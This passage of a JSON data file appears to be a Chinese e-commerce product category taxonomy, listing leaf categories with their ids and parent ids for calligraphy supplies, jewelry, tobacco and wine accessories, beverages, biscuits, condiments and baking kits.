:29613,"name":"笔筒","parent_cid":23756,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29612,"name":"笔洗","parent_cid":23756,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29540,"name":"墨床/墨台","parent_cid":23672,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29532,"name":"墨锭","parent_cid":23672,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29541,"name":"墨盒/墨匣","parent_cid":23672,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29531,"name":"墨汁","parent_cid":23672,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29545,"name":"空白扇面","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29536,"name":"蜡纸","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29544,"name":"毛边纸","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29535,"name":"棉纸","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29533,"name":"信纸","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29534,"name":"宣纸","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29543,"name":"元书纸","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29542,"name":"镇纸/压尺","parent_cid":23673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29438,"name":"酒盒","parent_cid":23604,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29437,"name":"酒瓶","parent_cid":23604,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29439,"name":"酒塞/瓶盖","parent_cid":23604,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29440,"name":"开瓶器","parent_cid":23604,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29441,"name":"套装酒具","parent_cid":23604,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29451,"name":"鼻烟壶","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29452,"name":"打火机/点火器","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29446,"name":"烟袋","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29443,"name":"烟斗","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29444,"name":"烟杆","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29449,"name":"烟膏罐","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29448,"name":"烟灰缸","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29445,"name":"烟枪","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29447,"name":"烟丝盒","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29442,"name":"烟嘴","parent_cid":23605,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33976,"name":"雕刻定制","parent_cid":33796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33977,"name":"毛货抛光","parent_cid":33796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23572,"name":"手镯定制","parent_cid":33796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33975,"name":"镶嵌翡翠","parent_cid":33796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29834,"name":"颈饰","parent_cid":23855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29833,"name":"手饰","parent_cid":23855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29844,"name":"珠宝半成品","parent_cid":23855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29841,"name":"珠宝奇石","parent_cid":23855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29832,"name":"其他","parent_cid":23855,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29857,"name":"笔搁","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29858,"name":"车挂","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29855,"name":"发饰","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29859,"name":"颈饰","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29856,"name":"手饰","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29869,"name":"珠宝奇石","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29854,"name":"其他","parent_cid":23863,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29840,"name":"颈饰","parent_cid":23859,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29839,"name":"手饰","parent_cid":23859,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29845,"name":"珠宝半成品","parent_cid":23859,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29843,"name":"珠宝奇石","parent_cid":23859,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29838,"name":"其他","parent_cid":23859,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29885,"name":"耳饰","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29888,"name":"颈饰","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29887,"name":"裸石","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29884,"name":"手饰","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29886,"name":"胸饰","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29889,"name":"珠宝奇石","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29883,"name":"其他","parent_cid":23867,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29849,"name":"车挂","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29850,"name":"颈饰","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29848,"name":"裸石","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29847,"name":"手饰","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29871,"name":"珠宝半成品","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29867,"name":"珠宝奇石","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29846,"name":"其他","parent_cid":23861,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29904,"name":"颈饰","parent_cid":23870,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29903,"name":"裸石","parent_cid":23870,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29902,"name":"手饰","parent_cid":23870,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29906,"name":"珠宝半成品","parent_cid":23870,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29905,"name":"珠宝奇石","parent_cid":23870,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29901,"name":"其他","parent_cid":23870,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33640,"name":"耳饰","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33644,"name":"发饰","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33637,"name":"颈饰","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33642,"name":"裸石","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33639,"name":"手饰","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33641,"name":"胸饰","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33638,"name":"珠宝奇石","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33643,"name":"其他","parent_cid":33310,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29876,"name":"耳饰","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29874,"name":"发饰","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29877,"name":"颈饰","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29875,"name":"手饰","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29879,"name":"珠宝半成品","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29878,"name":"珠宝奇石","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29873,"name":"其他","parent_cid":23865,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29895,"name":"笔搁","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29897,"name":"车挂","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29896,"name":"耳饰","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29892,"name":"发饰","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29898,"name":"颈饰","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29893,"name":"手饰","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29900,"name":"珠宝半成品","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29899,"name":"珠宝奇石","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29891,"name":"其他","parent_cid":23868,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33648,"name":"耳饰","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33652,"name":"发饰","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33645,"name":"颈饰","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33674,"name":"裸石","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33647,"name":"手饰","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33649,"name":"胸饰","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33646,"name":"珠宝奇石","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33651,"name":"其他","parent_cid":33311,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29837,"name":"颈饰","parent_cid":23858,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29836,"name":"手饰","parent_cid":23858,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29842,"name":"珠宝奇石","parent_cid":23858,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29835,"name":"其他","parent_cid":23858,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29853,"name":"颈饰","parent_cid":23862,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29852,"name":"手饰","parent_cid":23862,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29872,"name":"珠宝半成品","parent_cid":23862,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29868,"name":"珠宝奇石","parent_cid":23862,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29851,"name":"其他","parent_cid":23862,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33654,"name":"发饰","parent_cid":33312,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33650,"name":"裸石","parent_cid":33312,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33655,"name":"胸饰","parent_cid":33312,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29882,"name":"颈饰","parent_cid":23866,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29881,"name":"手饰","parent_cid":23866,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29890,"name":"珠宝半成品","parent_cid":23866,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29880,"name":"其他","parent_cid":23866,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29863,"name":"耳饰","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29861,"name":"发饰","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29866,"name":"颈饰","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29865,"name":"裸石","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29862,"name":"手饰","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29864,"name":"胸饰","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29870,"name":"珠宝奇石","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29860,"name":"其他","parent_cid":23864,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29415,"name":"耳饰","parent_cid":23568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29417,"name":"颈饰","parent_cid":23568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29414,"name":"手饰","parent_cid":23568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29416,"name":"胸饰","parent_cid":23568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29424,"name":"珠宝奇石","parent_cid":23568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29413,"name":"其他","parent_cid":23568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29410,"name":"耳饰","parent_cid":23567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29412,"name":"颈饰","parent_cid":23567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29409,"name":"手饰","parent_cid":23567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29411,"name":"胸饰","parent_cid":23567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29423,"name":"珠宝奇石","parent_cid":23567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29408,"name":"其他","parent_cid":23567,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29385,"name":"耳饰","parent_cid":23535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29387,"name":"颈饰","parent_cid":23535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29384,"name":"手饰","parent_cid":23535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29386,"name":"胸饰","parent_cid":23535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29388,"name":"珠宝奇石","parent_cid":23535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29383,"name":"其他","parent_cid":23535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31459,"name":"活性炭","parent_cid":28579,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31460,"name":"甲醛检测仪","parent_cid":28579,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31461,"name":"甲醛清除剂","parent_cid":28579,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29269,"name":"杯装奶茶","parent_cid":23049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29270,"name":"袋装奶茶","parent_cid":23049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29271,"name":"珍珠奶茶粉","parent_cid":23049,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32255,"name":"低温奶","parent_cid":32190,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32257,"name":"奶酪黄油","parent_cid":32190,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29342,"name":"白砂糖包","parent_cid":23391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29341,"name":"黄糖包","parent_cid":23391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29337,"name":"奶精","parent_cid":23391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29339,"name":"奶油球","parent_cid":23391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29340,"name":"肉桂粉","parent_cid":23391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29338,"name":"糖浆","parent_cid":23391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29336,"name":"挂耳咖啡","parent_cid":23387,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29335,"name":"咖啡豆","parent_cid":23387,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29334,"name":"咖啡粉","parent_cid":23387,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29170,"name":"纯果蔬汁","parent_cid":22842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29173,"name":"浓缩果蔬汁","parent_cid":22842,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29187,"name":"薄脆饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29188,"name":"蛋卷饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29189,"name":"蛋圆饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29182,"name":"发酵饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29183,"name":"夹心饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29185,"name":"曲奇饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29191,"name":"韧性饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29186,"name":"苏打饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29190,"name":"酥性饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29184,"name":"威化饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29192,"name":"燕麦巧克力饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29181,"name":"压缩饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29193,"name":"营养(消化)饼干","parent_cid":22977,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31208,"name":"豆瓣酱/豆酱/黄豆酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31205,"name":"番茄酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31204,"name":"海鲜酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31211,"name":"酱类调料","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31206,"name":"辣椒酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31199,"name":"沙拉/千岛/蛋黄酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32138,"name":"下饭酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31197,"name":"虾酱/蟹酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31207,"name":"鱼籽酱","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32140,"name":"其他酱类","parent_cid":28216,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31203,"name":"调味汁","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31198,"name":"花椒/八角/桂皮","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31210,"name":"火锅调料","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31195,"name":"咖喱","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31214,"name":"辣椒类调料","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31212,"name":"烧烤调料/腌料","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31213,"name":"汤类调料/冬阴功汤料","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31209,"name":"其它调料","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32141,"name":"其他调味料","parent_cid":28215,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31219,"name":"醋制品","parent_cid":28221,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31216,"name":"酱油","parent_cid":28221,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31218,"name":"鸡精/味精","parent_cid":28221,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31215,"name":"料酒","parent_cid":28221,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31217,"name":"食盐","parent_cid":28221,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31201,"name":"白糖/黄糖/木糖醇/代糖","parent_cid":28218,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31196,"name":"冰糖","parent_cid":28218,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32142,"name":"代糖","parent_cid":28218,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31200,"name":"果糖/糖浆/麦芽糖/糖膏","parent_cid":28218,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31202,"name":"红糖/黑糖/风味红糖","parent_cid":28218,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32143,"name":"木糖醇","parent_cid":28218,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34291,"name":"麻辣烫/麻辣拌","parent_cid":32146,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34290,"name":"自热烧烤","parent_cid":32146,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31228,"name":"冰淇淋粉","parent_cid":28242,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31222,"name":"果冻/布丁粉","parent_cid":28242,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31223,"name":"糯米纸","parent_cid":28242,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31233,"name":"其他烘焙半成品","parent_cid":28242,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31247,"name":"饼干制作套装","parent_cid":28246,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31245,"name":"蛋糕制作套装","parent_cid":28246,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31246,"name":"面包制作套装","parent_cid":28246,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31244,"name":"甜品制作套装","parent_cid":28246,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31248,"name":"中式糕点制作套装","parent_cid":28246,